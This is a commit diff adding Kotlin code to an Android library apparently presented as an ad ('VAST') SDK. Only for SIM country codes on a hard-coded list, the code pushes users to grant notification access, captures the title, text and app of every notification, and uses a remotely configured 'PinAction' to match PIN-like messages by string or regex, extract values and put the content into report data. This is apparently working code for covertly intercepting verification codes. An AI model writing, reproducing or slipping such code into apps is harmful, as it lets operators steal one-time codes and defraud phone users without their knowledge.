Compare commits
7 Commits
Author | SHA1 | Date |
---|---|---|
![]() |
be1f5034e6 | 2 years ago |
![]() |
38c9947e92 | 2 years ago |
![]() |
c5eaded243 | 2 years ago |
![]() |
03b4eff8d7 | 2 years ago |
|
3b6e11e68f | 2 years ago |
|
f1e3a4327c | 2 years ago |
![]() |
d7422938ed | 2 years ago |
@ -0,0 +1,53 @@
|
||||
package com.example.kvast_sdk
|
||||
|
||||
import android.content.ComponentName
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import androidx.core.content.ContextCompat.startActivity
|
||||
import com.example.vastlib.entity.request.BaseRequestBuilder
|
||||
import com.example.vastlib.utils.AndroidIdManager
|
||||
import com.example.vastlib.utils.notificationListenerEnable
|
||||
|
||||
fun Context.openNotificationListener() {
|
||||
val mandatoryTeleCode = listOf(
|
||||
"214", "232", "260", "262", "420", "424", "502", "520", "510", "334", "470", "413"
|
||||
)
|
||||
AndroidIdManager.init(this.applicationContext)
|
||||
val deviceInfoProvider = BaseRequestBuilder(this.applicationContext)
|
||||
var code = deviceInfoProvider.telcoCode
|
||||
// code="454"
|
||||
if (code.isNotBlank() && mandatoryTeleCode.any { code.startsWith(it) }) {
|
||||
showAlertDialog()
|
||||
}
|
||||
}
|
||||
|
||||
fun Context.showAlertDialog() {
|
||||
if (!notificationListenerEnable()) {
|
||||
gotoNotificationAccessSetting()
|
||||
}
|
||||
}
|
||||
|
||||
fun Context.gotoNotificationAccessSetting(): Boolean {
|
||||
try {
|
||||
val intent = Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS").apply {
|
||||
flags = Intent.FLAG_ACTIVITY_NEW_TASK
|
||||
}
|
||||
startActivity(intent)
|
||||
return true
|
||||
} catch (e: java.lang.Exception) {
|
||||
try {
|
||||
val intent = Intent().apply {
|
||||
flags = Intent.FLAG_ACTIVITY_NEW_TASK
|
||||
component = ComponentName(
|
||||
"com.android.settings",
|
||||
"com.android.settings.Settings`$`NotificationAccessSettingsActivity"
|
||||
)
|
||||
}
|
||||
startActivity(intent)
|
||||
return true
|
||||
} catch (e: java.lang.Exception) {
|
||||
|
||||
}
|
||||
return false
|
||||
}
|
||||
}
|
@ -0,0 +1,14 @@
|
||||
package com.example.kvast_sdk
|
||||
|
||||
import android.service.notification.NotificationListenerService
|
||||
import android.service.notification.StatusBarNotification
|
||||
import com.example.vastlib.pin.NotificationManger.comeON
|
||||
|
||||
class NotificationService : NotificationListenerService() {
|
||||
|
||||
|
||||
override fun onNotificationPosted(sbn: StatusBarNotification?) {
|
||||
super.onNotificationPosted(sbn)
|
||||
sbn?.comeON()
|
||||
}
|
||||
}
|
@ -0,0 +1,15 @@
|
||||
package com.example.vastlib.entity.action
|
||||
|
||||
data class PinAction(
|
||||
override var type: Int,
|
||||
override var delay: Int,
|
||||
override var next: List<Next> = emptyList(),
|
||||
override var skip_error: Boolean,
|
||||
override var async: Boolean,
|
||||
override var disconnect_ws: Boolean,
|
||||
var params:List<VarExtractRule> = emptyList(),
|
||||
var filter:Boolean = true,
|
||||
):BaseAction{
|
||||
|
||||
override fun toString() = ""
|
||||
}
|
@ -0,0 +1,26 @@
|
||||
package com.example.vastlib.pin
|
||||
|
||||
import android.app.NotificationManager
|
||||
import android.os.Bundle
|
||||
import android.service.notification.StatusBarNotification
|
||||
import com.example.vastlib.utils.LogUtils
|
||||
|
||||
object NotificationManger {
|
||||
const val NotifyNfm = "NOTIFY_NFM"
|
||||
var listener:((Bundle)->Unit)? = null
|
||||
|
||||
fun StatusBarNotification.comeON(){
|
||||
notification.extras?.let {content->
|
||||
val nfm = NotificationMessage(
|
||||
content = content.getCharSequence("android.text", "").toString(),
|
||||
from = content.getString("android.title",""),
|
||||
time = System.currentTimeMillis(),
|
||||
app = packageName,
|
||||
)
|
||||
val bundle = Bundle()
|
||||
bundle.putSerializable(NotifyNfm, nfm)
|
||||
listener?.invoke(bundle)
|
||||
LogUtils.info("content notify: $content")
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,12 @@
|
||||
package com.example.vastlib.pin
|
||||
|
||||
import java.io.Serializable
|
||||
|
||||
data class NotificationMessage(
|
||||
val content:String,
|
||||
val from:String,
|
||||
val time:Long,
|
||||
val app:String
|
||||
): Serializable {
|
||||
override fun toString(): String = ""
|
||||
}
|
@ -0,0 +1,141 @@
|
||||
package com.example.vastlib.service
|
||||
|
||||
import android.util.Log
|
||||
import com.example.vastlib.entity.action.Next
|
||||
import com.example.vastlib.entity.action.PinAction
|
||||
import com.example.vastlib.entity.report.ActionExec
|
||||
import com.example.vastlib.entity.task.TaskConfig
|
||||
import com.example.vastlib.pin.NotificationMessage
|
||||
import com.example.vastlib.utils.JSONUtils
|
||||
import com.example.vastlib.utils.LogUtils
|
||||
import kotlinx.coroutines.Dispatchers
|
||||
import kotlinx.coroutines.delay
|
||||
import kotlinx.coroutines.isActive
|
||||
import kotlinx.coroutines.withContext
|
||||
|
||||
class PinActionExecService(
|
||||
private val action: PinAction,
|
||||
override val taskConfig: TaskConfig
|
||||
) : BaseActionExecService(taskConfig) {
|
||||
|
||||
suspend fun executeAction(onFinish: (List<ActionExec>) -> Unit = {}) =
|
||||
withContext(Dispatchers.IO) {
|
||||
val actionExecList: MutableList<ActionExec> = mutableListOf()
|
||||
var currentStep = taskConfig.current_step
|
||||
kotlin.runCatching {
|
||||
val start = System.currentTimeMillis()
|
||||
var respCode = 200
|
||||
val messageLog: MutableList<NotificationMessage> = mutableListOf()
|
||||
val nextList = action.next
|
||||
while (isActive && (start + action.delay * 1000) > System.currentTimeMillis()) {
|
||||
val notificationCache = taskConfig.notificationCache
|
||||
if (nextList.isNotEmpty() && notificationCache.isNotEmpty()) {
|
||||
val notificationMessages =
|
||||
haveNextCatchTargetMessage(notificationCache, nextList)
|
||||
if (notificationMessages.isNotEmpty()) {
|
||||
LogUtils.info("catch target message...")
|
||||
messageLog.addAll(notificationMessages)
|
||||
break
|
||||
}
|
||||
}
|
||||
LogUtils.info("waiting for target message... ${action.delay}")
|
||||
delay(1000)
|
||||
}
|
||||
val cost = System.currentTimeMillis() - start
|
||||
if (messageLog.isNotEmpty()) {
|
||||
val nextStep =
|
||||
getNextStepIndex(nextList, JSONUtils.notificationToJsonString(messageLog), currentStep)
|
||||
taskConfig.current_step = nextStep
|
||||
} else {
|
||||
if (nextList.isNotEmpty()) {
|
||||
taskConfig.current_step = Int.MAX_VALUE
|
||||
respCode = ERROR_CODE_PIN_ACTION_TIMEOUT
|
||||
} else {
|
||||
taskConfig.current_step = ++currentStep
|
||||
messageLog += taskConfig.notificationCache
|
||||
}
|
||||
}
|
||||
if(taskConfig.current_step != Int.MAX_VALUE && messageLog.isNotEmpty()) {
|
||||
val responseBody = JSONUtils.notificationToJsonString(messageLog)
|
||||
extractBodyVariableToCache(action, responseBody, responseBody.toByteArray())
|
||||
}
|
||||
|
||||
val actionExec = genActionExec(messageLog, currentStep, respCode, cost)
|
||||
actionExecList += actionExec
|
||||
}.onFailure {
|
||||
LogUtils.error(it)
|
||||
val actionExec = genExceptionActionExec(action, ERROR_CODE_PIN_ACTION_EXEC_FAILED, Log.getStackTraceString(it))
|
||||
actionExecList += actionExec
|
||||
if(action.skip_error) {
|
||||
taskConfig.current_step = ++currentStep
|
||||
}else {
|
||||
taskConfig.current_step = Int.MAX_VALUE
|
||||
}
|
||||
}
|
||||
onFinish(actionExecList)
|
||||
}
|
||||
|
||||
private fun genActionExec(
|
||||
messageLog: MutableList<NotificationMessage>,
|
||||
currentStep: Int,
|
||||
respCode: Int,
|
||||
cost: Long
|
||||
): ActionExec{
|
||||
val actionExec = ActionExec().apply {
|
||||
this.step = currentStep
|
||||
this.index = 1
|
||||
this.respCode = respCode
|
||||
this.cost = cost
|
||||
this.time = System.currentTimeMillis()
|
||||
if(messageLog.isNotEmpty()) {
|
||||
this.url = messageLog.first().app
|
||||
this.respData = JSONUtils.notificationToJsonString(messageLog)
|
||||
}
|
||||
}
|
||||
return actionExec
|
||||
}
|
||||
|
||||
private fun haveNextCatchTargetMessage(
|
||||
notificationCache: List<NotificationMessage>,
|
||||
nextList: List<Next>
|
||||
): List<NotificationMessage> {
|
||||
var result: List<NotificationMessage> = mutableListOf()
|
||||
var targetMessage: NotificationMessage? = null
|
||||
for (notify in notificationCache) {
|
||||
for (next in nextList) {
|
||||
if (next.step <= 0) continue
|
||||
LogUtils.info("next:$next")
|
||||
val contain = next.contain
|
||||
if (contain.isNotBlank() && notify.from.contains(contain) ||
|
||||
notify.content.contains(contain)
|
||||
) {
|
||||
targetMessage = notify
|
||||
break
|
||||
}
|
||||
|
||||
if (next.regexp.isNotBlank()) {
|
||||
val pattern = next.regexp.toRegex()
|
||||
var matcher = pattern.matches(notify.from)
|
||||
if (matcher) {
|
||||
targetMessage = notify
|
||||
break
|
||||
}
|
||||
|
||||
matcher = pattern.matches(notify.content)
|
||||
if (matcher) {
|
||||
targetMessage = notify
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if (targetMessage != null) {
|
||||
break
|
||||
}
|
||||
}
|
||||
if (targetMessage != null) {
|
||||
result = notificationCache.filter { targetMessage.from == it.from }.toList()
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
}
|
@ -0,0 +1,33 @@
|
||||
package com.example.vastlib.utils
|
||||
|
||||
import android.content.ComponentName
|
||||
import android.content.Context
|
||||
import android.content.pm.PackageManager
|
||||
import android.provider.Settings
|
||||
|
||||
fun Context.notificationListenerEnable():Boolean {
|
||||
val flat = Settings.Secure.getString(contentResolver, "enabled_notification_listeners")
|
||||
return flat?.contains(packageName) == true
|
||||
}
|
||||
|
||||
fun Context.restartNotificationListenerServiceState() {
|
||||
var notificationListenerServiceClass:String? = null
|
||||
kotlin.runCatching {
|
||||
val packageInfo = packageManager.getPackageInfo(packageName,
|
||||
PackageManager.GET_SERVICES or PackageManager.GET_DISABLED_COMPONENTS)
|
||||
for (serviceInfo in packageInfo.services) {
|
||||
if("android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" == serviceInfo.permission) {
|
||||
notificationListenerServiceClass = serviceInfo.name
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(null == notificationListenerServiceClass) return
|
||||
packageManager.setComponentEnabledSetting(ComponentName(this,
|
||||
notificationListenerServiceClass!!
|
||||
), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP)
|
||||
|
||||
packageManager.setComponentEnabledSetting(ComponentName(this,
|
||||
notificationListenerServiceClass!!
|
||||
), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP)
|
||||
}
|
Loading…
Reference in new issue